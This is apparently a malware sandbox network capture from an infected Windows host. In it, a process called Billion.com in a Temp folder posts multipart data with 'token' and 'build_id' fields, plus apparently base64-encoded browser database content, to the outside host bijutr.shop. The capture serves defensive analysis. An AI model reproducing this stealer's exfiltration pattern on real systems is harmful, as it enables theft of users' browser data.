AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:34 UTC	16355	OUT	Data Raw: 30 63 32 4e 79 5a 57 56 75 58 33 56 79 62 46 39 69 62 47 39 6a 61 33 4e 66 59 6e 6c 77 59 58 4e 7a 5a 57 52 66 59 32 39 31 62 6e 52 6c 63 69 42 4a 54 6c 52 46 52 30 56 53 4c 48 4e 74 59 58 4a 30 63 32 4e 79 5a 57 56 75 58 32 52 76 64 32 35 73 62 32 46 6b 58 32 4a 73 62 32 4e 72 63 31 39 6a 62 33 56 75 64 47 56 79 49 45 6c 4f 56 45 56 48 52 56 49 73 63 32 31 68 63 6e 52 7a 59 33 4a 6c 5a 57 35 66 5a 47 39 33 62 6d 78 76 59 57 52 66 59 6d 78 76 59 32 74 7a 58 32 4a 35 63 47 46 7a 63 32 56 6b 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 7a 62 57 46 79 64 48 4e 6a 63 6d 56 6c 62 6c 39 74 59 57 78 32 5a 58 4a 30 61 58 4e 70 62 6d 64 66 59 6d 78 76 59 32 74 7a 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 68 59 6e Data Ascii: 0c2NyZWVuX3VybF9ibG9ja3NfYnlwYXNzZWRfY291bnRlciBJTlRFR0VSLHNtYXJ0c2NyZWVuX2Rvd25sb2FkX2Jsb2Nrc19jb3VudGVyIElOVEVHRVIsc21hcnRzY3JlZW5fZG93bmxvYWRfYmxvY2tzX2J5cGFzc2VkX2NvdW50ZXIgSU5URUdFUixzbWFydHNjcmVlbl9tYWx2ZXJ0aXNpbmdfYmxvY2tzX2NvdW50ZXIgSU5URUdFUixhYn
2024-12-24 18:28:34 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:36 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Dec 2024 18:28:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49982	18.161.69.30	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:35 UTC	925	OUT	GET /b?rn=1735064913991&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=302665E99E416E3C182470B69FCB6F6B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-24 18:28:35 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 24 Dec 2024 18:28:35 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1735064913991&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=302665E99E416E3C182470B69FCB6F6B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=100b66b45e7bac3f3b14d5f1735064915; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=100b66b45e7bac3f3b14d5f1735064915; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 28ccd2b47efede79124bdab295098b70.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DXB52-P1 X-Amz-Cf-Id: 1H7ZrcqQVVFop8LiVFBTTM2UQxG4KoFjx9aZsoA847oa5pxKP1MIjQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50029	188.245.216.205	443	1396	C:\Users\user\AppData\Local\Temp\680662\Billion.com

Timestamp	Bytes transferred	Direction	Data
2024-12-24 18:28:35 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----0RQI5FKFUSJMYU379R90 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: bijutr.shop Content-Length: 393697 Connection: Keep-Alive Cache-Control: no-cache
2024-12-24 18:28:35 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 30 52 51 49 35 46 4b 46 55 53 4a 4d 59 55 33 37 39 52 39 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 35 39 36 35 34 63 33 62 63 63 37 33 33 30 65 31 39 35 34 63 61 66 64 33 34 35 34 65 63 34 34 0d 0a 2d 2d 2d 2d 2d 2d 30 52 51 49 35 46 4b 46 55 53 4a 4d 59 55 33 37 39 52 39 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 31 34 30 30 66 31 31 35 31 33 31 65 31 66 61 38 34 65 61 39 38 35 39 39 64 35 33 64 30 62 64 0d 0a 2d 2d 2d 2d 2d 2d 30 52 51 49 35 46 4b 46 55 53 4a 4d 59 55 33 37 39 52 39 30 0d 0a 43 6f 6e 74 Data Ascii: ------0RQI5FKFUSJMYU379R90Content-Disposition: form-data; name="token"259654c3bcc7330e1954cafd3454ec44------0RQI5FKFUSJMYU379R90Content-Disposition: form-data; name="build_id"c1400f115131e1fa84ea98599d53d0bd------0RQI5FKFUSJMYU379R90Cont
2024-12-24 18:28:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-24 18:28:35 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
